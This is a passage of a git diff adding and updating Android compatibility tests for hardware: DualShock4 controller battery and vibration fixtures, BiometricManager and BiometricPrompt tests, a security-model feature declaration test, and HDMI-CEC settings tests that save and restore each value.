+  {
+    "name": "Battery 50 percent status charging",
+    "reports": [
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x8c, 0x00, 0x00, 0xfb, 0x8c, 0x10, 0x0e, 0x00,
+       0x06, 0x00, 0xe6, 0xff, 0x09, 0x00, 0x87, 0x1d, 0x61, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x15, 0x00, 0x00, 0x01, 0xf4, 0x80, 0x55, 0x70, 0x25, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80,
+       0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00,
+       0x00, 0x00, 0x80, 0x00],
+      [0x01, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x8c, 0x00, 0x00, 0xfb, 0x8c, 0x10, 0x0e, 0x00,
+       0x06, 0x00, 0xe6, 0xff, 0x09, 0x00, 0x87, 0x1d, 0x61, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00,
+       0x15, 0x00, 0x00, 0x01, 0xf4, 0x80, 0x55, 0x70, 0x25, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80,
+       0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00,
+       0x00, 0x00, 0x80, 0x00]
+    ],
+    "capacities": [0.55 /* kernel 5.10 or above */, 0.5 /* below kernel 5.10 */],
+    "status": 2 // BATTERY_STATUS_CHARGING
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json b/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json
index 5654c50..db322d6 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_usb_register.json
@@ -5,6 +5,7 @@
   "vid": 0x054c,
   "pid": 0x05c4,
   "bus": "usb",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
     0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15,
     0x00, 0x25, 0x07, 0x35, 0x00, 0x46, 0x3b, 0x01, 0x65, 0x14, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42,
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_usb_vibratortests.json b/tests/tests/hardware/res/raw/sony_dualshock4_usb_vibratortests.json
new file mode 100644
index 0000000..3bf7eaa
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_usb_vibratortests.json
@@ -0,0 +1,41 @@
+// Refer to kernel dualshock4_send_output_report() in drivers/hid/hid-sony.c
+[
+  {
+    "id": 1,
+    "durations" : [1000],
+    "amplitudes" : [192],
+    "leftFfIndex": 5,
+    "rightFfIndex": 4,
+    "output" :
+        [
+            {"index" : 0,
+            "data" : 0x5},   // DUALSHOCK4_CONTROLLER_USB | DUALSHOCK4_DONGLE
+
+            {"index" : 1,
+             "data" : 0x7},   // blink + LED + motor
+
+            {"index" : 3,
+             "data" : 0x0}
+        ]
+  },
+
+  {
+    "id": 1,
+    "durations" : [2000, 2000, 2000, 2000, 2000],
+    "amplitudes" : [16, 32, 64, 128, 255],
+    "leftFfIndex": 5,
+    "rightFfIndex": 4,
+    "output" :
+        [
+          {"index" : 0,
+            "data" : 0x5},   // DUALSHOCK4_CONTROLLER_USB | DUALSHOCK4_DONGLE
+
+            {"index" : 1,
+             "data" : 0x7},   // blink + LED + motor
+
+            {"index" : 3,
+             "data" : 0x0}
+        ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4pro_bluetooth_register.json b/tests/tests/hardware/res/raw/sony_dualshock4pro_bluetooth_register.json
index d4fa66d..1dd3185 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4pro_bluetooth_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4pro_bluetooth_register.json
@@ -5,6 +5,7 @@
   "vid": 0x054c,
   "pid": 0x09cc,
   "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
     0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15,
     0x00, 0x25, 0x07, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42, 0x05, 0x09, 0x19, 0x01, 0x29, 0x0e, 0x15,
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4pro_usb_register.json b/tests/tests/hardware/res/raw/sony_dualshock4pro_usb_register.json
index 4514fd4..0aff3ab 100644
--- a/tests/tests/hardware/res/raw/sony_dualshock4pro_usb_register.json
+++ b/tests/tests/hardware/res/raw/sony_dualshock4pro_usb_register.json
@@ -5,6 +5,7 @@
   "vid": 0x054c,
   "pid": 0x09cc,
   "bus": "usb",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK | MOUSE | SENSOR",
   "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0x85, 0x01, 0x09, 0x30, 0x09, 0x31, 0x09, 0x32,
     0x09, 0x35, 0x15, 0x00, 0x26, 0xff, 0x00, 0x75, 0x08, 0x95, 0x04, 0x81, 0x02, 0x09, 0x39, 0x15,
     0x00, 0x25, 0x07, 0x35, 0x00, 0x46, 0x3b, 0x01, 0x65, 0x14, 0x75, 0x04, 0x95, 0x01, 0x81, 0x42,
diff --git a/tests/tests/hardware/src/android/hardware/biometrics/OWNERS b/tests/tests/hardware/src/android/hardware/biometrics/OWNERS
index a4737b6..2b1c07f 100644
--- a/tests/tests/hardware/src/android/hardware/biometrics/OWNERS
+++ b/tests/tests/hardware/src/android/hardware/biometrics/OWNERS
@@ -1,5 +1,6 @@
+# Bug component: 879035
 curtislb@google.com
 ilyamaty@google.com
 jaggies@google.com
 joshmccloskey@google.com
-kchyn@google.com
\ No newline at end of file
+kchyn@google.com
diff --git a/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricManagerTest.java b/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricManagerTest.java
index f1925a3..4f68573 100644
--- a/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricManagerTest.java
+++ b/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricManagerTest.java
@@ -16,28 +16,44 @@
 
 package android.hardware.biometrics.cts;
 
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeTrue;
 
+import android.app.KeyguardManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
 import android.hardware.biometrics.BiometricManager;
 import android.hardware.biometrics.BiometricManager.Authenticators;
 import android.platform.test.annotations.Presubmit;
-import android.test.AndroidTestCase;
+import android.text.TextUtils;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Basic test cases for BiometricManager. See the manual biometric tests in CtsVerifier for a more
  * comprehensive test suite.
  */
-public class BiometricManagerTest extends AndroidTestCase {
-
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@Presubmit
+public class BiometricManagerTest {
+    private Context mContext;
     private BiometricManager mBiometricManager;
 
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        mBiometricManager = getContext().getSystemService(BiometricManager.class);
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mBiometricManager = mContext.getSystemService(BiometricManager.class);
     }
 
-    @Presubmit
+    @Test
     public void test_canAuthenticate() {
 
         assertNotEquals("Device should not have any biometrics enrolled",
@@ -48,4 +64,92 @@
                         Authenticators.DEVICE_CREDENTIAL | Authenticators.BIOMETRIC_WEAK),
                 BiometricManager.BIOMETRIC_SUCCESS);
     }
+
+    @Test
+    public void test_getButtonLabel_isDifferentForDistinctAuthTypes() {
+        // Ensure labels for biometrics and credential are different (if non-empty).
+        final CharSequence biometricLabel =
+                mBiometricManager.getButtonLabel(Authenticators.BIOMETRIC_WEAK);
+        final CharSequence credentialLabel =
+                mBiometricManager.getButtonLabel(Authenticators.DEVICE_CREDENTIAL);
+        if (!TextUtils.isEmpty(biometricLabel) || !TextUtils.isEmpty(credentialLabel)) {
+            assertFalse("Biometric and credential button labels should not match",
+                    TextUtils.equals(biometricLabel, credentialLabel));
+        }
+    }
+
+    @Test
+    public void test_getButtonLabel_isNonEmptyIfPresentForSubAuthType() {
+        // Ensure label for biometrics|credential is non-empty if one for biometrics or credential
+        // (or both) is non-empty.
+        final CharSequence biometricOrCredentialLabel =
+                mBiometricManager.getButtonLabel(
+                        Authenticators.BIOMETRIC_WEAK | Authenticators.DEVICE_CREDENTIAL);
+        final CharSequence biometricLabel =
+                mBiometricManager.getButtonLabel(Authenticators.BIOMETRIC_WEAK);
+        final CharSequence credentialLabel =
+                mBiometricManager.getButtonLabel(Authenticators.DEVICE_CREDENTIAL);
+        final boolean isLabelPresentForSubAuthType =
+                !TextUtils.isEmpty(biometricLabel) || !TextUtils.isEmpty(credentialLabel);
+        assertFalse("Label should not be empty if one for an authenticator sub-type is non-empty",
+                TextUtils.isEmpty(biometricOrCredentialLabel) && isLabelPresentForSubAuthType);
+    }
+
+    @Test
+    public void test_getPromptMessage_isDifferentForDistinctAuthTypes() {
+        // Ensure messages for biometrics and credential are different (if non-empty).
+        final CharSequence biometricMessage =
+                mBiometricManager.getPromptMessage(Authenticators.BIOMETRIC_WEAK);
+        final CharSequence credentialMessage =
+                mBiometricManager.getPromptMessage(Authenticators.DEVICE_CREDENTIAL);
+        if (!TextUtils.isEmpty(biometricMessage) || !TextUtils.isEmpty(credentialMessage)) {
+            assertFalse("Biometric and credential prompt messages should not match",
+                    TextUtils.equals(biometricMessage, credentialMessage));
+        }
+    }
+
+    @Test
+    public void test_getPromptMessage_isDifferentForBiometricsIfCredentialAllowed() {
+        // Ensure message for biometrics and biometrics|credential are different (if non-empty).
+        final CharSequence biometricMessage =
+                mBiometricManager.getPromptMessage(Authenticators.BIOMETRIC_WEAK);
+        final CharSequence biometricOrCredentialMessage =
+                mBiometricManager.getPromptMessage(
+                        Authenticators.BIOMETRIC_WEAK | Authenticators.DEVICE_CREDENTIAL);
+        if (!TextUtils.isEmpty(biometricMessage)
+                || !TextUtils.isEmpty(biometricOrCredentialMessage)) {
+            assertFalse("Biometric and biometric|credential prompt messages should not match",
+                    TextUtils.equals(biometricMessage, biometricOrCredentialMessage));
+        }
+    }
+
+    @Test
+    public void test_getSettingName_forBiometrics() {
+        final PackageManager pm = mContext.getPackageManager();
+        final boolean hasFingerprint = pm.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT);
+        final boolean hasIris = pm.hasSystemFeature(PackageManager.FEATURE_IRIS);
+        final boolean hasFace = pm.hasSystemFeature(PackageManager.FEATURE_FACE);
+        assumeTrue("Test requires biometric hardware", hasFingerprint || hasIris || hasFace);
+
+        // Ensure biometric setting name is non-empty if device supports biometrics.
+        assertFalse("Name should be non-empty if device supports biometric authentication",
+                TextUtils.isEmpty(mBiometricManager.getSettingName(Authenticators.BIOMETRIC_WEAK)));
+        assertFalse("Name should be non-empty if device supports biometric authentication",
+                TextUtils.isEmpty(mBiometricManager.getSettingName(
+                        Authenticators.BIOMETRIC_WEAK | Authenticators.DEVICE_CREDENTIAL)));
+    }
+
+    @Test
+    public void test_getSettingName_forCredential() {
+        final KeyguardManager km = mContext.getSystemService(KeyguardManager.class);
+        assumeTrue("Test requires KeyguardManager", km != null);
+
+        // Ensure credential setting name is non-empty if device supports PIN/pattern/password.
+        assertFalse("Name should be non-empty if device supports PIN/pattern/password",
+                TextUtils.isEmpty(mBiometricManager.getSettingName(
+                        Authenticators.DEVICE_CREDENTIAL)));
+        assertFalse("Name should be non-empty if device supports PIN/pattern/password",
+                TextUtils.isEmpty(mBiometricManager.getSettingName(
+                        Authenticators.BIOMETRIC_WEAK | Authenticators.DEVICE_CREDENTIAL)));
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricPromptTest.java b/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricPromptTest.java
index 00e1b42..12011bd 100644
--- a/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricPromptTest.java
+++ b/tests/tests/hardware/src/android/hardware/biometrics/cts/BiometricPromptTest.java
@@ -24,6 +24,7 @@
 import android.os.Looper;
 import android.platform.test.annotations.Presubmit;
 import android.test.AndroidTestCase;
+import android.text.TextUtils;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
@@ -88,10 +89,10 @@
             });
 
             final BiometricPrompt prompt = builder.build();
-            assertEquals(title, prompt.getTitle());
-            assertEquals(subtitle, prompt.getSubtitle());
-            assertEquals(description, prompt.getDescription());
-            assertEquals(negativeButtonText, prompt.getNegativeButtonText());
+            assertTrue(TextUtils.equals(title, prompt.getTitle()));
+            assertTrue(TextUtils.equals(subtitle, prompt.getSubtitle()));
+            assertTrue(TextUtils.equals(description, prompt.getDescription()));
+            assertTrue(TextUtils.equals(negativeButtonText, prompt.getNegativeButtonText()));
 
             prompt.authenticate(cancellationSignal, mExecutor, mAuthenticationCallback);
             mLatch.await(AWAIT_TIMEOUT_MS, TimeUnit.MILLISECONDS);
diff --git a/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
new file mode 100644
index 0000000..8c562c5
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/cts/SecurityModelFeatureTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.pm.PackageManager;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests that devices correctly declare the
+ * {@link PackageManager#FEATURE_SECURITY_MODEL_COMPATIBLE} feature.
+ */
+@RunWith(AndroidJUnit4.class)
+public class SecurityModelFeatureTest {
+    private static final String ERROR_MSG = "Expected system feature missing. "
+            + "The device must declare: " + PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE;
+    private PackageManager mPackageManager;
+    private boolean mHasSecurityFeature = false;
+
+    @Before
+    public void setUp() throws Exception {
+        mPackageManager = InstrumentationRegistry.getTargetContext().getPackageManager();
+        mHasSecurityFeature =
+            mPackageManager.hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE);
+    }
+
+    @Test
+    @CddTest(requirement = "2.3.5/T-0-1")
+    public void testTv() {
+        assumeTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
+        assertTrue(ERROR_MSG, mHasSecurityFeature);
+    }
+
+    @Test
+    @CddTest(requirement = "2.4.5/W-0-1")
+    public void testWatch() {
+        assumeTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_WATCH));
+        assertTrue(ERROR_MSG, mHasSecurityFeature);
+    }
+
+    @Test
+    @CddTest(requirement = "2.5.5/A-0-1")
+    public void testAuto() {
+        assumeTrue(mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
+        assertTrue(ERROR_MSG, mHasSecurityFeature);
+    }
+
+    // Handheld & tablet tested via CTS Verifier
+}
diff --git a/tests/tests/hardware/src/android/hardware/fingerprint/OWNERS b/tests/tests/hardware/src/android/hardware/fingerprint/OWNERS
new file mode 100644
index 0000000..2b1c07f
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/fingerprint/OWNERS
@@ -0,0 +1,6 @@
+# Bug component: 879035
+curtislb@google.com
+ilyamaty@google.com
+jaggies@google.com
+joshmccloskey@google.com
+kchyn@google.com
diff --git a/tests/tests/hardware/src/android/hardware/hdmi/cts/HdmiControlManagerTest.java b/tests/tests/hardware/src/android/hardware/hdmi/cts/HdmiControlManagerTest.java
new file mode 100644
index 0000000..fcf0c31
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/hdmi/cts/HdmiControlManagerTest.java
@@ -0,0 +1,361 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.hdmi.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.hardware.hdmi.HdmiControlManager;
+import android.hardware.hdmi.HdmiDeviceInfo;
+import android.hardware.hdmi.HdmiPlaybackClient;
+import android.hardware.hdmi.HdmiSwitchClient;
+import android.hardware.hdmi.HdmiTvClient;
+import android.os.SystemProperties;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class HdmiControlManagerTest {
+
+    private static final int DEVICE_TYPE_SWITCH = 6;
+    private static final int TIMEOUT_CONTENT_CHANGE_SEC = 13;
+
+    private HdmiControlManager mHdmiControlManager;
+
+    @Rule
+    public AdoptShellPermissionsRule mAdoptShellPermissionsRule = new AdoptShellPermissionsRule(
+            InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+            Manifest.permission.HDMI_CEC);
+
+    @Before
+    public void setUp() {
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        assumeTrue(context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_HDMI_CEC));
+
+        mHdmiControlManager = context.getSystemService(HdmiControlManager.class);
+    }
+
+    @Test
+    public void testHdmiControlManagerAvailable() {
+        assertThat(mHdmiControlManager).isNotNull();
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testHdmiCecPermissionRequired() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+
+        mHdmiControlManager.getConnectedDevices();
+    }
+
+    @Test
+    public void testGetHdmiClient() throws Exception {
+        String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+        if (deviceTypesValue.isEmpty()) {
+            deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+        }
+
+        List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+        if (deviceTypes.contains("0")) {
+            assertThat(mHdmiControlManager.getTvClient()).isInstanceOf(HdmiTvClient.class);
+            assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_TV)).isInstanceOf(
+                    HdmiTvClient.class);
+        }
+        if (deviceTypes.contains("4")) {
+            assertThat(mHdmiControlManager.getPlaybackClient()).isInstanceOf(
+                    HdmiPlaybackClient.class);
+            assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_PLAYBACK)).isInstanceOf(
+                    HdmiPlaybackClient.class);
+        }
+        if (deviceTypes.contains("5")) {
+            assertThat(
+                    mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_AUDIO_SYSTEM)).isNotNull();
+        }
+
+        boolean isSwitchDevice = SystemProperties.getBoolean(
+                "ro.hdmi.property_is_device_hdmi_cec_switch", false);
+        if (deviceTypes.contains("6") || isSwitchDevice) {
+            assertThat(mHdmiControlManager.getSwitchClient()).isInstanceOf(HdmiSwitchClient.class);
+            assertThat(mHdmiControlManager.getClient(6)).isInstanceOf(HdmiSwitchClient.class);
+        }
+    }
+
+    @Test
+    public void testHdmiClientType() throws Exception {
+        String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+        if (deviceTypesValue.isEmpty()) {
+            deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+        }
+
+        List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+        if (deviceTypes.contains("0")) {
+            assertThat(mHdmiControlManager.getTvClient().getDeviceType()).isEqualTo(
+                    HdmiDeviceInfo.DEVICE_TV);
+        }
+        if (deviceTypes.contains("4")) {
+            assertThat(mHdmiControlManager.getPlaybackClient().getDeviceType()).isEqualTo(
+                    HdmiDeviceInfo.DEVICE_PLAYBACK);
+        }
+
+        boolean isSwitchDevice = SystemProperties.getBoolean(
+                "ro.hdmi.property_is_device_hdmi_cec_switch", false);
+
+        if (deviceTypes.contains(String.valueOf(DEVICE_TYPE_SWITCH)) || isSwitchDevice) {
+            assertThat(mHdmiControlManager.getSwitchClient().getDeviceType()).isEqualTo(
+                    DEVICE_TYPE_SWITCH);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecEnabled() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+                mHdmiControlManager.setHdmiCecEnabled(value);
+                assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecEnabled(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecEnabled_Listener() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+        assumeTrue("Skipping because option not user-modifiable",
+                mHdmiControlManager.getUserCecSettings().contains(
+                        HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED));
+        CountDownLatch notifyLatch1 = new CountDownLatch(1);
+        CountDownLatch notifyLatch2 = new CountDownLatch(2);
+        HdmiControlManager.CecSettingChangeListener listener =
+                new HdmiControlManager.CecSettingChangeListener() {
+                    @Override
+                    public void onChange(String setting) {
+                        notifyLatch1.countDown();
+                        notifyLatch2.countDown();
+                        assertThat(setting).isEqualTo(
+                                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED);
+                    }
+                };
+        try {
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+            TimeUnit.SECONDS.sleep(1);
+            mHdmiControlManager.addHdmiCecEnabledChangeListener(
+                    Executors.newSingleThreadExecutor(), listener);
+            TimeUnit.SECONDS.sleep(3);
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_ENABLED);
+            if (!notifyLatch1.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS)) {
+                fail("Timed out waiting for the notify callback");
+            }
+            mHdmiControlManager.removeHdmiCecEnabledChangeListener(listener);
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+            notifyLatch2.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS);
+            assertThat(notifyLatch2.getCount()).isEqualTo(1);
+        } finally {
+            // Remove listener in case not yet removed.
+            mHdmiControlManager.removeHdmiCecEnabledChangeListener(listener);
+            // Restore original value
+            mHdmiControlManager.setHdmiCecEnabled(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecVersion() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecVersion();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+                mHdmiControlManager.setHdmiCecVersion(value);
+                assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecVersion(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecVolumeControlEnabled() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecVolumeControlEnabled();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_VOLUME_CONTROL_MODE)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_VOLUME_CONTROL_MODE)) {
+                mHdmiControlManager.setHdmiCecVolumeControlEnabled(value);
+                assertThat(mHdmiControlManager.getHdmiCecVolumeControlEnabled()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecVolumeControlEnabled(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecVolumeControlEnabled()).isEqualTo(
+                    originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_PowerControlMode() throws Exception {
+        // Save original value
+        String originalValue = mHdmiControlManager.getPowerControlMode();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+            return;
+        }
+        try {
+            for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+                    HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+                mHdmiControlManager.setPowerControlMode(value);
+                assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setPowerControlMode(originalValue);
+            assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_PowerStateChangeOnActiveSourceLost() throws Exception {
+        // Save original value
+        String originalValue = mHdmiControlManager.getPowerStateChangeOnActiveSourceLost();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+            return;
+        }
+        try {
+            for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+                    HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+                mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(value);
+                assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+                        value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(originalValue);
+            assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+                    originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_SystemAudioModeMuting() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getSystemAudioModeMuting();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+                mHdmiControlManager.setSystemAudioModeMuting(value);
+                assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setSystemAudioModeMuting(originalValue);
+            assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_TvWakeOnOneTouchPlay() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getTvWakeOnOneTouchPlay();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_TV_WAKE_ON_ONE_TOUCH_PLAY)) {
+            return;
+        }
